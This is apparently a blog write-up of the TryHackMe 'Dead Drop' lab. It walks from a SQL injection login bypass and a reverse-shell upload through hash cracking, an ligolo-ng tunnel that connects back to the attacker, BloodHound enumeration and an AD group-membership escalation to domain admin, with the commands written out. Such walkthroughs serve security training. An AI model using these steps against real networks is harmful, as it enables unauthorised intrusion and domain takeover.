Post

Dead drop

Dead drop
Silent Monitor

Dead Drop — Write-up


Platform: TryHackMe
Room: Dead Drop
Difficulty: Medium
Category: Windows / Web

Scenario

You have been engaged as a penetration tester for a security audit of DeadDrop Ltd, a document management company that provides file-sharing services to corporate clients. The company recently expanded its infrastructure and wants assurance that its systems are secure before onboarding a major new client.

Your point of entry is a web-facing file-sharing application. Behind it sits an internal corporate network that you have no direct access to. Your objective is clear: compromise the domain controller and retrieve the flag from the Administrator’s desktop. How you get there is up to you.

Scope and Rules of Engagement

The engagement covers the following systems:

MachineRoleAccess
DeadDrop-WEBDMZ web serverDirectly accessible via your VPN connection
Internal networkCorporate LAN (192.168.11.0/24)Not directly accessible, must be reached through the DMZ

The internal network contains a Windows workstation and a domain controller, but you will need to discover their exact addresses yourself.

In scope:

  • All services running on the lab machines
  • Any credentials or hashes you discover along the way
  • Pivoting from the DMZ into the internal network
  • Active Directory enumeration and ACL-based attacks

Out of scope:

  • Denial of service attacks
  • Social engineering of DeadDrop Ltd employees
  • Modifying or deleting data on production systems

Reconnaissance

We start by enumerating the DeadDrop-WEB machine using Nmap to identify open ports and services.

nmap

As we can see, the machine has two open ports: 80 (HTTP) and 22 (SSH). We visit the web service on port 80 and find a login page.

1
http://DeadDrop.thm

web

Access as admin

I try the basic SQL injection payload ’ OR 1=1– on the username field, and it works. Now I’m logged in as the user admin. After logging in, I can see a dashboard, with an upload option.

dashboard

Since the server is an Express.js application, I try to upload a reverse shell payload. I create a simple reverse shell in JavaScript and upload it to the server. After uploading, I can access the shell by clicking the Preview action.

upload

shell as node

After clicking the Preview action, I get a reverse shell as the user node.

shell

There’s a folder backup in the /opt/app directory, which contains a shadow.bak file that contains the hash of the svc-drop user. I copy the hash and crack it using John the Ripper.

shadow.bak

SSH as svc-drop

After cracking the hash, I can SSH into the machine as the user svc-drop.

1
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

crack

After logging in, I can see a directory backup in the home directory, which contains a file deaddrop-mobile.apk. I copy the file to my local machine and analyze it using mobSF.

apk

Analyze the APK

After analyzing the APK, I find a hardcoded sensitive informations in a file called Config.java. The file contains a username and password that can be real domain credentials.

config

Access the internal network

Since the internal network is not directly accessible, We need to pivot through the DMZ. I use ligolo-ng to create a reverse tunnel from the DMZ to my local machine.

How ligolo-ng works (quick concept)

Ligolo-ng creates a tunnel between your attacker machine and the compromised host using an agent/proxy model:

  • Proxy (runs on your attacker machine): creates a TUN interface, routes traffic through the tunnel.
  • Agent (runs on the compromised box): connects back to your proxy, forwards traffic to/from the internal network it can see.

First, Create a TUN interface on our attacker machine

1
2
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

This creates the virtual interface ligolo-ng will route traffic through.

Then, we start the ligolo-ng proxy on our attacker machine.

1
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

ligolo-proxy

From the DMZ machine, we start the ligolo-ng agent to connect back to our proxy.

1
./agent -connect <VPN_IP>:11601 -ignore-cert

ligolo-agent

Add the route to our attack machine to reach the internal network through the ligolo-ng tunnel.

1
sudo ip route add 192.168.11.0/24 dev ligolo

Then, start the tunnel and verify that we can reach the internal network.

1
ligolo-ng » start

Access as j.harris

After setting up the tunnel, I try to reach out the DC and probe open ports.

dc

We test our credentials from the APK using NetExec by trying to authenticate against SMB. We find that the credentials are valid and we can authenticate.

netexic

BloodHound Enumeration

After authenticating, I use BloodHound to enumerate the Active Directory environment. I run the SharpHound collector to gather data about users, groups, and permissions.

1
bloodhound-python -u 'j.harris' -p 'REDACTED' -d deaddrop.loc -dc DEADDROP-DC.deaddrop.loc -ns 192.168.11.100 -c All --zip

bloodhound

Based on the BloodHound data, I find that the user j.harris has the AddMember permission on the ITSUPPORT-ADMINS group. This means we can add our user to the ITSUPPORT-ADMINS group, and the group is also a member of the DOMAIN-ADMINS group. And with that, we can escalate our privileges to domain admin.

bloodhound2

Privilege Escalation to Domain Admin

With the AddMember permission, I can add my user to the ITSUPPORT-ADMINS group.

1
net rpc group addmem "ITSupport-Admins" "j.harris" -U 'deaddrop.loc/j.harris%REDACTED' -S 192.168.11.100

Then, we can connect to the DC, and reach out the Administrator’s desktop to retrieve the flag.

flag

And that’s it! We have successfully compromised the domain controller, I hope you enjoyed this write-up. If you have any questions or feedback, feel free to reach out.

This post is licensed under CC BY 4.0 by the author.